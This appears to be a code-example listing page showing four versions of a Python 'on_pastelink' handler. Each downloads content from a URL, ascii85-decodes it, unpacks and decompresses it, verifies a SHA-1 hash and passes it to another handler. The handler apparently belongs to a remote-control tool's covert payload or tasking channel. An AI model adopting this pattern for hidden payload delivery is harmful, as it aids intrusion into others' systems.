Beispiel #1
0
    def on_pastelink(self, url, action, encoder):
        if not tinyhttp:
            logging.error('TinyHTTP is not available')
            return

        http = tinyhttp.HTTP(proxy=self.proxy, follow_redirects=True)
        content, code = http.get(url, code=True)
        if code == 200:
            try:
                content = ascii85.ascii85DecodeDG(content)
                content = self.encoder.unpack(content)
                if not content:
                    logging.error('PasteLink: unpack failed')
                    return

                content = zlib.decompress(content)
                chash, content = content[:20], content[20:]
                h = hashlib.sha1()
                h.update(content)
                if h.digest() == chash:
                    self.on_pastelink_content(url, action, content)
                else:
                    logging.error('PasteLink: Wrong hash after extraction: {} != {}'.format(
                        h.digest(), chash))
            except Exception as e:
                logging.exception(e)
Beispiel #2
0
    def on_pastelink(self, url, action, encoder):
        proxy = self.proxy
        if type(self.proxy) in (list, tuple):
            if len(self.proxy) > 0:
                proxy = self.proxy[0]
            else:
                proxy = None

        http = tinyhttp.HTTP(proxy=proxy, follow_redirects=True)
        content, code = http.get(url, code=True)
        if code == 200:
            try:
                content = ascii85.ascii85DecodeDG(content)
                content = self.encoder.unpack(content)
                if not content:
                    logging.error('PasteLink: unpack failed')
                    return

                content = zlib.decompress(content)
                chash, content = content[:20], content[20:]
                h = hashlib.sha1()
                h.update(content)
                if h.digest() == chash:
                    self.on_pastelink_content(url, action, content)
                else:
                    logging.error(
                        'PasteLink: Wrong hash after extraction: %s != %s',
                        h.digest(), chash)
            except Exception as e:
                logging.exception(e)
Beispiel #3
0
 def on_pastelink(self, url, action, encoder):
     proxy = urllib2.ProxyHandler()
     opener = urllib2.build_opener(proxy)
     response = opener.open(url)
     if response.code == 200:
         try:
             content = response.read()
             content = ascii85.ascii85DecodeDG(content)
             content = self.encoder.unpack(content)
             content = zlib.decompress(content)
             chash, content = content[:20], content[20:]
             h = hashlib.sha1()
             h.update(content)
             if h.digest() == chash:
                 self.on_pastelink_content(url, action, content)
             else:
                 logging.error('PasteLink: Wrong hash after extraction: {} != {}'.format(
                     h.digest(), chash))
         except Exception as e:
             logging.exception(e)
Beispiel #4
0
 def on_pastelink(self, url, action, encoder):
     proxy = urllib2.ProxyHandler()
     opener = urllib2.build_opener(proxy)
     response = opener.open(url)
     if response.code == 200:
         try:
             content = response.read()
             content = ascii85.ascii85DecodeDG(content)
             content = self.encoder.unpack(content)
             content = zlib.decompress(content)
             chash, content = content[:20], content[20:]
             h = hashlib.sha1()
             h.update(content)
             if h.digest() == chash:
                 self.on_pastelink_content(url, action, content)
             else:
                 logging.error('PasteLink: Wrong hash after extraction: {} != {}'.format(
                     h.digest(), chash))
         except Exception as e:
             logging.exception(e)